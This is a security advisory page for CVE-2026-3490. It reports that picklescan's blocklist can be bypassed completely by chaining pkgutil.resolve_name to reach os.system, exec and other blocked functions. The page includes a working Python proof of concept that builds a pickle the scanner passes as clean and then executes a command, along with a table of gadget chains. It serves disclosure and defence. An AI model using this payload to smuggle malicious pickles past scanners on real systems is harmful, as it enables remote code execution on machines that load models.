Loading...
Skip to main content

CVE-2026-3490

CRITICAL

PickleScan's pkgutil.resolve_name has a universal blocklist bypass

Published March 3, 2026Updated June 29, 2026Source: osv

Summary

## Summary `pkgutil.resolve_name()` is a Python stdlib function that resolves any `"module:attribute"` string to the corresponding Python object at runtime. By using `pkgutil.resolve_name` as the first REDUCE call in a pickle, an attacker can obtain a reference to ANY blocked function (e.g., `os.system`, `builtins.exec`, `subprocess.call`) without that function appearing in the pickle's opcodes. picklescan only sees `pkgutil.resolve_name` (which is not blocked) and misses the actual dangerous function entirely. This defeats picklescan's **entire blocklist concept** — every single entry in `_unsafe_globals` can be bypassed. ## Severity **Critical** (CVSS 10.0) — Universal bypass of all blocklist entries. Any blocked function can be invoked. ## Affected Versions - picklescan <= 1.0.3 (all versions including latest) ## Details ### How It Works A pickle file uses two chained REDUCE calls: ``` 1. STACK_GLOBAL: push pkgutil.resolve_name 2. REDUCE: call resolve_name("os:system") → returns os.system function object 3. REDUCE: call the returned function("malicious command") → RCE ``` picklescan's opcode scanner sees: - `STACK_GLOBAL` with module=`pkgutil`, name=`resolve_name` → **NOT in blocklist** → CLEAN - The second `REDUCE` operates on a stack value (the return of the first call), not on a global import → **invisible to scanner** The string `"os:system"` is just data (a SHORT_BINUNICODE argument to the first REDUCE) — picklescan does not analyze REDUCE arguments, only GLOBAL/INST/STACK_GLOBAL references. ### Decompiled Pickle (what the data actually does) ```python from pkgutil import resolve_name _var0 = resolve_name('os:system') # Returns the actual os.system function _var1 = _var0('malicious_command') # Calls os.system('malicious_command') result = _var1 ``` ### Confirmed Bypass Targets Every entry in picklescan's blocklist can be reached via resolve_name: | Chain | Resolves To | Confirmed RCE | picklescan Result | |-------|------------|---------------|-------------------| | `resolve_name("os:system")` | `os.system` | YES | CLEAN | | `resolve_name("builtins:exec")` | `builtins.exec` | YES | CLEAN | | `resolve_name("builtins:eval")` | `builtins.eval` | YES | CLEAN | | `resolve_name("subprocess:getoutput")` | `subprocess.getoutput` | YES | CLEAN | | `resolve_name("subprocess:getstatusoutput")` | `subprocess.getstatusoutput` | YES | CLEAN | | `resolve_name("subprocess:call")` | `subprocess.call` | YES (shell=True needed) | CLEAN | | `resolve_name("subprocess:check_call")` | `subprocess.check_call` | YES (shell=True needed) | CLEAN | | `resolve_name("subprocess:check_output")` | `subprocess.check_output` | YES (shell=True needed) | CLEAN | | `resolve_name("posix:system")` | `posix.system` | YES | CLEAN | | `resolve_name("cProfile:run")` | `cProfile.run` | YES | CLEAN | | `resolve_name("profile:run")` | `profile.run` | YES | CLEAN | | `resolve_name("pty:spawn")` | `pty.spawn` | YES | CLEAN | **Total:** 11+ confirmed RCE chains, all reporting CLEAN. ### Proof of Concept ```python import struct, io, pickle def sbu(s): b = s.encode() return b"\x8c" + struct.pack("<B", len(b)) + b # resolve_name("os:system")("id") payload = ( b"\x80\x04\x95" + struct.pack("<Q", 55) + sbu("pkgutil") + sbu("resolve_name") + b"\x93" # STACK_GLOBAL + sbu("os:system") + b"\x85" + b"R" # REDUCE: resolve_name("os:system") + sbu("id") + b"\x85" + b"R" # REDUCE: os.system("id") + b"." # STOP ) # picklescan: 0 issues from picklescan.scanner import scan_pickle_bytes result = scan_pickle_bytes(io.BytesIO(payload), "test.pkl") assert result.issues_count == 0 # CLEAN! # Execute: runs os.system("id") → RCE pickle.loads(payload) ``` ### Why `pkgutil` Is Not Blocked picklescan's `_unsafe_globals` (v1.0.3) does not include `pkgutil`. The module is a standard import utility — its primary purpose is module/package resolution. However, `resolve_name()` can resolve ANY attribute from ANY module, making it a universal gadget. **Note:** fickling DOES block `pkgutil` in its `UNSAFE_IMPORTS` list. ## Impact This is a **complete bypass** of picklescan's security model. The entire blocklist — every module and function entry in `_unsafe_globals` — is rendered ineffective. An attacker needs only use `pkgutil.resolve_name` as an indirection layer to call any Python function. This affects: - HuggingFace Hub (uses picklescan) - Any ML pipeline using picklescan for safety validation - Any system relying on picklescan's blocklist to prevent malicious pickle execution ## Suggested Fix 1. **Immediate:** Add `pkgutil` to `_unsafe_globals`: ```python "pkgutil": {"resolve_name"}, ``` 2. **Also block similar resolution functions:** ```python "importlib": "*", "importlib.util": "*", ``` 3. **Architectural:** The blocklist approach cannot defend against indirect resolution gadgets. Even blocking `pkgutil`, an attacker could find other stdlib functions that resolve module attributes. Consider: - Analyzing REDUCE arguments for suspicious strings (e.g., patterns matching `"module:function"`) - Treating unknown globals as dangerous by default - Switching to an allowlist model

Remediation

Upgrade to the fixed version using your package manager.

pip
Update picklescan to 1.0.4 or later
pip install "picklescan>=1.0.4"

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (1)

PackageEcosystemAffectedFixed In
picklescan
pypi
0.0.1, 0.0.10, 0.0.11, 0.0.12 (+35 more)1.0.4

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 10.0 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Frequently Asked Questions

What is CVE-2026-3490?
PickleScan's pkgutil.resolve_name has a universal blocklist bypass This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 10.0/10).
How do I check if my project is affected by CVE-2026-3490?
CVE-2026-3490 affects picklescan. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-3490 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
10.0

Exploitation is straightforward and causes maximum impact. Patch immediately.

Also Known As

GHSA-vvpj-8cmc-gx39
PYSEC-2026-456

Related CVEs

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies